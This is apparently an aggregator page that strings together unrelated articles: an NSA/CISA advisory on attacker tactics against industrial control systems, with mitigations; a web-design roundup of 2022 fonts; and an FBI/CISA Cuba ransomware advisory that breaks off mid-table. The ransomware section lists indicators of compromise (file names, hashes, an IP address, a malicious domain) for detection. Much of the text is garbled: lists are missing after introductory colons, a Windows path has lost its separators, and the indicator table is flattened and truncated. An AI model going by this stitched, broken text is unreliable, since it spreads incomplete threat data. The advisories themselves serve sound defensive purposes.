Original release date: September 22, 2022
Summary
Traditional approaches to securing OT/ICS do not adequately address current threats.
Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions.
OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks.
Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS.
This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA.
Download the PDF version of this report: pdf, 538.12 kb
Technical Details
OT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3]
Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9]
Malicious actors’ game plan for control system intrusions
Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems:
- Establish intended effect and select a target.
- Collect intelligence about the target system.
- Develop techniques and tools to navigate and manipulate the system.
- Gain initial access to the system.
- Execute techniques and tools to create the intended effect.
Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10]
Establish intended effect and select a target
Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12]
Collect intelligence about the target system
Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including:
- Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers.
- Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help.
- Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks.
In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation.
Develop techniques and tools
Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers.
Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities.
As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems.
Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9]
With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more.
Gain initial access to the system
To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system.
Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements.
However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points.
Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system.
Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components.
Execute techniques and tools to create the intended effects
Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities:
- Degrade the operator’s ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator’s display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] )
- Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831])
- Impair the system’s ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815])
- Deny the operator’s ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813])
- Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882])
Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment.
Mitigations
The complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1]
System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions.
However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs.
Limit exposure of system information
Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system.
Document the answers to the following questions:
- From where and to where is data flowing?
- How are the communication pathways documented and how is the data secured/encrypted?
- How is the data used and secured when it arrives at its destination?
- What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution?
- Can the data be shared further once at its destination? Who has the authority to share this data
Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it.
Identify and secure remote access points
Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system.
Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks.
Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture:
- Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information.
- Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14]
- Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors.
- Utilize jump boxes to isolate and monitor access to the system.
- Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system.
- Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult.
- If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active.
- Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs.
- Install and keep current all vendor-provided security systems associated with the installed vendor access points.
- Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked.
- Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities.
- Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps.
- Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components.
- Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date.
- Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring.
Restrict tools and scripts
Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat.
The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include:
- Identify any engineering, configuration, or diagnostic tools.
- Securely store gold copies of these tools external to the system if possible.
- Remove all non-critical tools.
- Prevent these tools from being reinstalled.
- Perform routine audits to check that these tools have not been reinstalled.
Conduct regular security audits
The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following:
- Validate all connections (e.g., network, serial, modem, wireless, etc.).
- Review system software patching procedures.
- Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.).
- Verify removal from the system of all non-critical software, services, and tools.
- Audit the full asset inventory.
- Implement CISA ICS mitigations and best practices. [15] [16]
- Monitor system logs and intrusion detection system (IDS) logs.
Implement a dynamic network environment
Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended.
While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following:
- Deploy additional firewalls and routers from different vendors.
- Modify IP address pools.
- Replace outdated hardware (e.g., workstations, servers, printers, etc.).
- Upgrade operating systems.
- Install or upgrade commercially available security packages for vendor access points and methodologies.
Planning these changes with significant forethought can help minimize the impact on network operation.
Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible.
Conclusion
The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects.
Disclaimer of endorsement
The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact Information
For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov.
Media Inquiries / Press Desk:
References
- [1] National Security Agency (2021), Stop Malicious Cyber Activity Against Connected Operational Technology.
- [2] National Security Agency and Cybersecurity and Infrastructure Security Agency (2020), NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems.
- [3] Tenable (2018), The Challenges of Securing Industrial Control Systems from Cyberattacks.
- [4] Cybersecurity and Infrastructure Security Agency (2022), Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure.
- [5] Cybersecurity and Infrastructure Security Agency (2021), Cyber-Attack Against Ukrainian Critical Infrastructure.
- [6] Cybersecurity and Infrastructure Security Agency (2021), Ongoing Cyber Threats to U.S. Water and Wastewater Systems.
- [7] Cybersecurity and Infrastructure Security Agency (2020), Ransomware Impacting Pipeline Operations.
- [8] Cybersecurity and Infrastructure Security Agency (2021), Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013
- [9] Cybersecurity and Infrastructure Security Agency (2022), APT Cyber Tools Targeting ICS/SCADA Devices
- [10] Cybersecurity and Infrastructure Security Agency (2022), Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector.
- [11] The American Society of Mechanical Engineers (2016), Securing the Power Grid Against Cyber Attack.
- [12] PBS FRONTLINE (2003), Vulnerability: the power grid?
- [13] Cybersecurity and Infrastructure Security Agency (2018), Schneider Electric Triconex Tricon (Update B).
- [14] Cybersecurity and Infrastructure Security Agency (2022), Layering Network Security Through Segmentation.
- [15] Cybersecurity and Infrastructure Security Agency, Recommended Cybersecurity Practices for Industrial Control Systems.
- [16] Cybersecurity and Infrastructure Security Agency Industrial Control Systems Cyber Emergency Response Team (2016), Recommended Practice: Improving Industrial Control System Cybersecurity with Defense-in-Depth Strategies
Revisions
- Initial Release: September 22, 2022
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
40 Best New Fonts of 2022
Actualités, ActualitésChoosing the right typefaces for your website can elevate a design from dour to delightful. The right typeface gives personality to your brand voice and can make sure your content gets read.
And so, every month, we put together a roundup of the best new fonts for web designers. In this roundup of the year, we look back at the past twelve months and showcase our forty favorite fonts of 2022. Enjoy!
Tellumo
Tellumo is an elegant geometric sans-serif that oozes positivity. It comes with a standard set of caps and an alternative set of swash caps.
DT Random Display
DT Random Display is an original approach to typeface design. It’s perfect for posters or a branding project with a courageous client.
Rebrand
Rebrand is a sans-serif packed with character. There are display and text versions, each with seven weights.
Aiglon
Aiglon is a monolinear semi-geometric sans-serif. It is simple and forthright, without being dull or forgettable.
Shorai Sans
Shorai Sans is a blend of geometric sans-serif and calligraphic brushstrokes. As well as Latin glyphs, there’s a complete set of Japanese characters.
Monden
Monden is a high-contrast serif with a clever little kick on the lowercase h, m, and n that adds richness to body text.
Canora
Canora is a calligraphic typeface with two styles: Frente leans to the right, and Verso leans to the left.
Epicene
Epicene is a beautifully baroque typeface with some intriguing details. There are two families, a display version and a text version.
Sangbleu
Sangbleu is a super-family of typefaces with five complementary styles: Empire, Kingdom, Republic, Versailles, and Sunrise.
Forme
Forme is a typically British grotesque typeface with the bonus of having an equally functional Arabic sibling.
Aprello
Aprello is a robust sans-serif that’s ideal for branding projects. There are six weights, each with an italic and a variable font version.
Selva
Selva is an elegant serif typeface in the Scotch tradition. It has a vast number of weights and a particularly attractive italic.
GT Planar
GT Planar is a unique typeface with both italic and retalic styles that slant up to 45 degrees in each direction.
Veqay
Veqay is an elegant stencil typeface with organic shapes, making it ideal for certain branding and editorial design.
Apta
Apta is a clean sans-serif with excellent proportions. Unusually it comes in three versions, a geometric style, a humanist style, and a combination style.
Antodits
Antodits is an energetic script face that has the feel of graffiti. This is a great display font for headlines.
Delvard
Delvard is a family of three typefaces, Display, Subhead, and Text. It’s a beautiful serif with script-like strokes.
Rosales
Rosales integrates a humanist style with geometric forms and calligraphic alternatives to create a unique typeface.
Fisterra
Fisterra is an informal serif with two different styles: Morte, with emphasizes curves, and Fora, which emphasizes sharp lines.
Connection
Connection is a precisely drawn typeface with beautiful detail courtesy of a calligraphic influence.
Ping Round
Ping Round is a simple sans-serif drawn with as few strokes as possible, resulting in some characterful letterforms.
Mule
Mule is a hard-working serif with friendly, engaging letterforms. It has a great rhythm, making it ideal for extended text.
Arnika
Arnika is a contemporary typeface with a large x-height. The flares on its strokes put it mid-way between a serif and a sans-serif.
Kingsad
Kingsad is a sans-serif designed for branding. The generous curves and wide letterforms make it best suited to short text.
Apice
Apice is an elegant script font perfect for posters, branding, and editorial design. It’s a variable font with a setting to control stroke contrast.
The Future
The Future is a reworking of the ideas behind Futura. It has a great mix of Western and Japanese typographic traditions.
Mallory
Mallory is an Art Nouveau-inspired display face. It has graceful sweeping curves and strong contrast.
Fabbrica
Fabbrica is a functional sans-serif that performs exceptionally well at small sizes and especially well on screen.
Gills & Co
Gills & Co is another of this year’s crop of Art Nouveau-inspired typefaces. It’s ideal for editorial design.
Satiata
Satiata is an energetic typeface that almost dances across the screen. Best used for branding or display type.
Fold
Fold is a no-nonsense sans-serif that’s plan spoken and trustworthy. It has four weights with corresponding italics.
Bells Morten
Bells Morten is a display font inspired by vintage signage. It’s bold and all-caps, with sharp flared serifs.
Mori
Mori is a versatile sans-serif inspired by contemporary Japanese design. It’s ideal for branding and editorial design.
Nitido
Nitido is a humanist sans-serif designed as a companion for the popular Nitida font family. It’s beautifully suited to branding work.
Lithops
Lithops is a fantastic display face for posters, T-shirts, and editorial design, with a pattern making up the letters that’s reminiscent of seaweed.
Rapidissima
Rapidissima is a companion typeface to Rapida. While Rapida is a careful usable serif, Rapidissima is an exploration of speed.
Firelli
Firelli is a warm, contemporary slab serif with a range of weights. It’s an excellent choice for display and body type.
OBO Star
OBO Star is a semi-monospaced typeface, meaning that most of the characters use the same space.
Nagel
Nagel is a uniwidth sans-serif with a low stroke contrast and some bold detailing. It’s ideally suited to short texts and branding.
Practico Slab UI
Practico Slab UI is a workhorse slab serif that blends European and American mid-century styles. It’s available as a variable font.
Source
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Source de l’article sur Webdesignerdepot
AA22-335A: #StopRansomware: Cuba Ransomware
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: December 1, 2022 | Last revised: January 5, 2023
Summary
Actions to take today to mitigate cyber threats from ransomware:
• Prioritize remediating known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enable and enforce phishing-resistant multifactor authentication.
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The FBI and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Cuba ransomware IOCs and TTPs associated with Cuba ransomware actors identified through FBI investigations, third-party reporting, and open-source reporting. This advisory updates the December 2021 FBI Flash: Indicators of Compromise Associated with Cuba Ransomware.
Note: While this ransomware is known by industry as “Cuba ransomware,” there is no indication Cuba ransomware actors have any connection or affiliation with the Republic of Cuba.
Since the release of the December 2021 FBI Flash, the number of U.S. entities compromised by Cuba ransomware has doubled, with ransoms demanded and paid on the increase.
This year, Cuba ransomware actors have added to their TTPs, and third-party and open-source reports have identified a possible link between Cuba ransomware actors, RomCom Remote Access Trojan (RAT) actors, and Industrial Spy ransomware actors.
FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Cuba ransomware and other ransomware operations.
Download the PDF version of this report: pdf, 649 kb.
For a downloadable copy of IOCs, see:
Technical Details
Overview
Since the December 2021 release of FBI Flash: Indicators of Compromise Associated with Cuba Ransomware, FBI has observed Cuba ransomware actors continuing to target U.S. entities in the following five critical infrastructure sectors: Financial Services, Government Facilities, Healthcare and Public Health, Critical Manufacturing, and Information Technology. As of August 2022, FBI has identified that Cuba ransomware actors have:
Cuba Ransomware Actors’ Tactics, Techniques, and Procedures
As previously reported by FBI, Cuba ransomware actors have leveraged the following techniques to gain initial access into dozens of entities in multiple critical infrastructure sectors:
After gaining initial access, the actors distributed Cuba ransomware on compromised systems through Hancitor—a loader known for dropping or executing stealers, such as Remote Access Trojans (RATs) and other types of ransomware, onto victims’ networks.
Since spring 2022, Cuba ransomware actors have modified their TTPs and tools to interact with compromised networks and extort payments from victims.[1],[2]
Cuba ransomware actors have exploited known vulnerabilities and weaknesses and have used tools to elevate privileges on compromised systems. According to Palo Alto Networks Unit 42,[2] Cuba ransomware actors have:
According to Palo Alto Networks Unit 42, Cuba ransomware actors use tools to evade detection while moving laterally through compromised environments before executing Cuba ransomware. Specifically, the actors, “leveraged a dropper that writes a kernel driver to the file system calledApcHelper.sys . This targets and terminates security products. The dropper was not signed; however, the kernel driver was signed using the certificate found in the LAPSUS NVIDIA leak.” [T1562.001].[2]
In addition to deploying ransomware, the actors have used “double extortion” techniques, in which they exfiltrate victim data, and (1) demand a ransom payment to decrypt it and, (2) threaten to publicly release it if a ransom payment is not made.[2]
Cuba Ransomware Link to RomCom and Industrial Spy Marketplace
Since spring 2022, third-party and open-source reports have identified an apparent link between Cuba ransomware actors, RomCom RAT actors, and Industrial Spy ransomware actors:
RomCom actors have targeted foreign military organizations, IT companies, food brokers and manufacturers.[3][4] The actors copied legitimate HTML code from public-facing webpages, modified the code, and then incorporated it in spoofed domains [T1584.001], which allowed the RomCom actors to:
INDICATORS OF COMPROMISE
See tables 1 through 5 for Cuba ransomware IOCs that FBI obtained during threat response investigations as of late August 2022. In addition to these tables, see the publications in the References section below for aid in detecting possible exploitation or compromise.
Note: For IOCs as of early November 2021, see FBI Flash: Indicators of Compromise Associated with Cuba Ransomware.
File Name
File Path
File Hash
netping.dll
c:windowstemp
SHA256: f1103e627311e73d5f29e877243e7ca203292f9419303c661aec57745eb4f26c
shar.bat
MD5: 4c32ef0836a0af7025e97c6253054bca
SHA256: a7c207b9b83648f69d6387780b1168e2f1eabd23ae6e162dd700ae8112f8b96c
Psexesvc.exe
SHA256: 141b2190f51397dbd0dfde0e3904b264c91b6f81febc823ff0c33da980b69944
1.bat
216155s.dll
23246s.bat
SHA256: 02a733920c7e69469164316e3e96850d55fca9f5f9d19a241fad906466ec8ae8
23246s.dll
SHA256: 0cf6399db55d40bc790a399c6bbded375f5a278dc57a143e4b21ea3f402f551f
23246st.dll
SHA256: f5db51115fa0c910262828d0943171d640b4748e51c9a140d06ea81ae6ea1710
259238e.exe
31-100.bat
3184.bat
3184.dll
45.dll
SHA256:
857f28b8fe31cf5db6d45d909547b151a66532951f26cda5f3320d2d4461b583
4ca736d.exe
62e2e37.exe
64.235.39.82
64s.dll
7z.sfx
7zCon.sfx
7-zip.chm
82.ps1
9479.bat
SHA256: 08eb4366fc0722696edb03981f00778701266a2e57c40cd2e9d765bf8b0a34d0
9479p.bat
SHA256: f8144fa96c036a8204c7bc285e295f9cd2d1deb0379e39ee8a8414531104dc4a
9479p.ps1
SHA256: 88d13669a994d2e04ec0a9940f07ab8aab8563eb845a9c13f2b0fec497df5b17
a.exe
MD5: 03c835b684b21ded9a4ab285e4f686a3
SHA1: eaced2fcfdcbf3dca4dd77333aaab055345f3ab4
SHA256: 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3
SHA256: 0d5e3483299242bf504bd3780487f66f2ec4f48a7b38baa6c6bc8ba16e4fb605
SHA256: 7e00bfb622072f53733074795ab581cf6d1a8b4fc269a50919dda6350209913c
SHA256: af4523186fe4a5e2833bbbe14939d8c3bd352a47a2f77592d8adcb569621ce02
a220.bat
a220.dll
SHA256: 8a3d71c668574ad6e7406d3227ba5adc5a230dd3057edddc4d0ec5f8134d76c3
a82.exe
SHA256: 4306c5d152cdd86f3506f91633ef3ae7d8cf0dd25f3e37bec43423c4742f4c42
a91.exe
SHA256: 3d4502066a338e19df58aa4936c37427feecce9ab8d43abff4a7367643ae39ce
a99.exe
SHA256: f538b035c3de87f9f8294bec272c1182f90832a4e86db1e47cbb1ab26c9f3a0b
aa.exe
aa2.exe
aaa.stage.16549040.dns.alleivice.com
add2.exe
advapi32.dll
agent.13.ps1
agent.bat
SHA256: fd87ca28899823b37b2c239fbbd236c555bcab7768d67203f86d37ede19dd975
agent.dll
agent13.bat
agent13.ps1
SHA256: 1817cc163482eb21308adbd43fb6be57fcb5ff11fd74b344469190bb48d8163b
agent64.bin
SHA256: bff4dd37febd5465e0091d9ea68006be475c0191bd8c7a79a44fbf4b99544ef1
agsyst121.bat
agsyst121.dll
all.bat
SHA256: ecefd9bb8b3783a81ab934b44eb3d84df5e58f0289f089ef6760264352cf878a
all.dll
SHA256: db3b1f224aec1a7c58946d819d729d0903751d1867113aae5cca87e38c653cf4
anet.exe
SHA1: 241ce8af441db2d61f3eb7852f434642739a6cc3
SHA256: 74fbf3cc44dd070bd5cb87ca2eed03e1bbeec4fec644a25621052f0a73abbe84
SHA256: b160bd46b6efc6d79bfb76cf3eeacca2300050248969decba139e9e1cbeebf53
SHA256: f869e8fbd8aa1f037ad862cf6e8bbbf797ff49556fb100f2197be4ee196a89ae
App.exe
appnetwork.exe
AppVClient.man
aswSP_arPot2
aus.exe
SHA256: 0c2ffed470e954d2bf22807ba52c1ffd1ecce15779c0afdf15c292e3444cf674
SHA256: 310afba59ab8e1bda3ef750a64bf39133e15c89e8c7cf4ac65ee463b26b136ba
av.bat
SHA256: b5d202456ac2ce7d1285b9c0e2e5b7ddc03da1cbca51b5da98d9ad72e7f773b8
c2.ps1
c2.ps1
cdzehhlzcwvzcmcr.aspx
check.exe
checkk.exe
checkk.txt
SHA256: 1f842f84750048bb44843c277edeaa8469697e97c4dbf8dc571ec552266bec9f
client32.exe
comctl32 .dll
comp2.ps1
comps2.ps1
cqyrrxzhumiklndm.aspx
defendercontrol.exe
ff.exe
SHA256: 1b943afac4f476d523310b8e3afe7bca761b8cbaa9ea2b9f01237ca4652fc834
File __agsyst121.dll
File __aswArPot.sys
File __s9239.dll
File_agsyst121.dll
File_aswArPot.sys
File_s9239.dll
ga.exe
gdi32 .dll
geumspbgvvytqrih.aspx
IObit UNLOCKER.exe
kavsa32.exe
MD5: 236f5de8620a6255f9003d054f08574b
SHA1: 9b546bd99272cf4689194d698c830a2510194722
kavsyst32.exe
kernel32.dll
komar.bat
SHA256: B9AFE016DBDBA389000B01CE7645E7EEA1B0A50827CDED1CBAA48FBC715197BB
komar.dll
komar121.bat
komar121.dll
komar2.ps1
SHA256: 61971d3cbf88d6658e5209de443e212100afc8f033057d9a4e79000f6f0f7cc4
komar64.dll
SHA256: 8E64BACAF40110547B334EADCB0792BDC891D7AE298FBFFF1367125797B6036B
mfcappk32.exe
newpass.ps1
SHA256: c646199a9799b6158de419b1b7e36b46c7b7413d6c35bfffaeaa8700b2dcc427
npalll.exe
